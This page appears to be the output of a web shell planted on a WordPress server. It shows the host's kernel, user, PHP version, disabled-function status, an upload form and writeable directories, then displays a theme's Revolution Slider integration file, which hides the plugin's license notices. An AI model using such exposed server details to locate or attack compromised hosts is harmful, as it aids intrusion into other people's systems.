https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/plutus/public_html/wp-content/themes/vrm/inc/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/plutus/public_html/wp-content/themes/vrm/inc/integration/revslider.php
<?php
namespace TotalTheme\Integration;

defined( 'ABSPATH' ) || exit;

/**
 * Revslider Integration.
 */
class Revslider {

	/**
	 * Instance.
	 */
	private static $instance;

	/**
	 * Create or retrieve the instance of Revslider.
	 */
	public static function instance() {
		if ( \is_null( static::$instance ) ) {
			static::$instance = new self();
			static::$instance->init_hooks();
		}

		return static::$instance;
	}

	/**
	 * Hook into actions and filters.
	 */
	public function init_hooks() {
		\add_filter( 'revslider_meta_generator', '__return_false' );
		if ( \wpex_is_request( 'admin' ) ) {
			$this->admin_actions();
		}
	}

	/**
	 * Check if license is valid.
	 */
	private function is_license_valid() {
		return \get_option( 'revslider-valid', 'false' );
	}

	/**
	 * Admin actions.
	 */
	public function admin_actions() {
		if ( 'false' === $this->is_license_valid() ) {
			\add_action( 'admin_notices', [ $this, 'remove_plugins_page_notices' ], PHP_INT_MAX );
		}
		\add_action( 'do_meta_boxes', [ $this, 'remove_metabox' ] );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_admin_styles' ] );
	}

	/**
	 * Remove Revolution Slider plugin notices.
	 */
	public function remove_plugins_page_notices() {
		$plugin_id = 'revslider/revslider.php';

		\remove_action(
			"after_plugin_row_{$plugin_id}",
			array( 'RevSliderAdmin', 'add_notice_wrap_pre' ),
			10,
			3
		);

		\remove_action(
			"after_plugin_row_{$plugin_id}",
			array( 'RevSliderAdmin', 'show_purchase_notice' ),
			10,
			3
		);

		\remove_action(
			"after_plugin_row_{$plugin_id}",
			array('RevSliderAdmin', 'add_notice_wrap_post' ),
			10,
			3
		);
	}

	/**
	 * Remove metabox where not needed.
	 */
	public function remove_metabox() {
		\remove_meta_box(
			'slider_revolution_metabox',
			[
				'vc_grid_item',
				'templatera',
				'wpex_sidebars',
				'wpex_font',
				'wpex_color_palette',
				'wpex_card',
				'ptu',
				'ptu_tax',
				'wpex_templates',
			],
			'side'
		);
	}

	/**
	 * Load CSS in the admin.
	 */
	public function enqueue_admin_styles() {
		if ( ! \array_key_exists( 'page', $_GET ) || 'revslider' !== $_GET['page'] ) {
			return;
		}
		\wp_enqueue_style(
			'wpex-revslider-admin',
			\wpex_asset_url( 'css/wpex-revslider-admin.css' ),
			[],
			WPEX_THEME_VERSION
		);
	}

}

https://t.me/RX1948 - 2025